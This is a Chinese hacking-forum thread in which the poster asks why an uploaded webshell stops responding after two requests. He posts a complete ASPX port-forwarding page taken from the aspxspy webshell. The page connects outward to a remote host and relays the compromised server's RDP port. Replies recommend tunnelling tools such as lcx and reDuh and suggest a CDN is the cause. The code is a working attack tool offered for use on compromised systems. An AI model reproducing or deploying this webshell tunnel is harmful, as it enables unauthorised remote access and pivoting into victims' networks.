今天遇到一个问题,使用aspxspy 只要访问超过两次请求,就无法访问了,提示页面找不到,使用菜刀查看,发现shell 还在上面没有被删,很是悲剧。不知道这个是什么神器在起作用。还请各位高手、神人指点,谢谢了。
想使用一下aspxspy的转发功能,因此将aspxspy中的端口转发功能,进行了提取,代码如下:
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> <%@ import Namespace="System.IO"%> <%@ import Namespace="System.Net.Sockets" %> <%@ import Namespace="System.Net" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1f.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <script runat="server"> public string localip = "127.0.0.1"; public string localport="3389"; public string remoteip= "192.168.11.89"; public string remoteport = "600"; public NetworkStream NS=null; public NetworkStream NS1=null; TcpClient tcp=new TcpClient(); TcpClient zvxm=new TcpClient(); ArrayList IVc=new ArrayList(); protected void Page_load(object sender,EventArgs e) { try{ ruQO(); }catch(Exception exp) { Response.Write("except "+exp.Message); } } public class PortForward { public string Localaddress; public int LocalPort; public string RemoteAddress; public int RemotePort; string type; Socket ltcpClient; Socket rtcpClient; Socket server; byte[] DPrPL=new byte[2048]; byte[] wvZv=new byte[2048]; public struct session { public Socket rdel; public Socket ldel; public int llen; public int rlen; } public static IPEndPoint mtJ(string host,int port) { IPEndPoint iep=null; IPHostEntry aGN=Dns.Resolve(host); IPAddress rmt=aGN.AddressList[0]; iep=new IPEndPoint(rmt,port); return iep; } public void Start(string Rip,int Rport,string lip,int lport) { try { LocalPort=lport; RemoteAddress=Rip; RemotePort=Rport; Localaddress=lip; rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); rtcpClient.BeginConnect(mtJ(RemoteAddress,RemotePort),new AsyncCallback(iiGFO),rtcpClient); } catch (Exception ex) { } } protected void iiGFO(IAsyncResult ar) { try { session RKXy=new session(); RKXy.ldel=ltcpClient; RKXy.rdel=rtcpClient; ltcpClient.BeginConnect(mtJ(Localaddress,LocalPort),new AsyncCallback(VTp),RKXy); } catch (Exception ex) { } } protected void VTp(IAsyncResult ar) { try { session RKXy=(session)ar.AsyncState; ltcpClient.EndConnect(ar); RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(LFYM),RKXy); RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(xPS),RKXy); } catch (Exception ex) { } } private void LFYM(IAsyncResult ar) { try { session RKXy=(session)ar.AsyncState; int Ret=RKXy.rdel.EndReceive(ar); if (Ret>0) ltcpClient.BeginSend(DPrPL,0,Ret,SocketFlags.None,new AsyncCallback(JTcp),RKXy); else lyTOK(); } catch (Exception ex) { } } private void JTcp(IAsyncResult ar) { try { session RKXy=(session)ar.AsyncState; RKXy.ldel.EndSend(ar); RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(this.LFYM),RKXy); } catch (Exception ex) { } } private void xPS(IAsyncResult ar) { try { session RKXy=(session)ar.AsyncState; int Ret=RKXy.ldel.EndReceive(ar); if (Ret>0) RKXy.rdel.BeginSend(wvZv,0,Ret,SocketFlags.None,new AsyncCallback(IZU),RKXy); else lyTOK(); } catch (Exception ex) { } } private void IZU(IAsyncResult ar) { try { session RKXy=(session)ar.AsyncState; RKXy.rdel.EndSend(ar); RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(this.xPS),RKXy); } catch (Exception ex) { } } public void lyTOK() { try { if (ltcpClient!=null) { ltcpClient.Close(); } if (rtcpClient!=null) rtcpClient.Close(); } catch (Exception ex) { } } } protected void vuou() { PortForward gYP=new PortForward(); gYP.lyTOK(); } protected void ruQO() { PortForward gYP=new PortForward(); gYP.Start(remoteip,int.Parse(remoteport),localip,int.Parse(localport)); } </script>
记录在这里,希望以后还会用到。
注:对大牛的代码未作任何修改仅是提取,希望没有侵权。
相关讨论:
1#
在路上 | 2013-12-22 15:28
@wefgod @一只猿 求各位大牛 解答呀 谢谢了
2#
YY-2012 (收购WB价格1:6无限量收购请加609496288) | 2013-12-22 15:34
权限大的话,试过使用asp的shell运行lcx.exe成功转发
3#
在路上 | 2013-12-22 16:11
@YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012">YY-2012 嗯 对 lcx很神奇开辟了 转发的先河。 我现在的主要问题是,扔上去一个webshell,访问两次,在访问就提示找不到该文件了,但是我使用菜刀看到文件还在。我修改webshell的文件名,仍然访问不了... 因此才改了这个转发,让访问一次就可以了。不知道 有哪位牛 遇到过类似情况,主要想知道这是什么机制,感觉很有意思 呵呵
4#
Mujj (从前,有个主席姓Xi,后来,就再也没有"除Xi夜") | 2013-12-22 16:12
reduh
5#
在路上 | 2013-12-22 16:45
@Mujj 总是感觉这个玩意好慢 呵呵 用了几次 都没有成功过 不到万不得已 还是不用他... 一个单纯的aspx端口转发就可以了
6#
Royal. | 2013-12-22 17:11
@在路上 负载均衡?
7#
wefgod (求大牛指点) | 2013-12-23 09:24
lcx用不了?你这情况太诡异了吧,居然还提示找不到文件?是CDN吗
8#
wefgod (求大牛指点) | 2013-12-23 09:25
你看看每次看到的IP是否都一样吧
9#
qiaoy (但我不能为这离开我的祖国) | 2013-12-23 11:30
应该是CDN,用这个ping一下试试:
http://ping.chinaz.com/
留言评论(旧系统):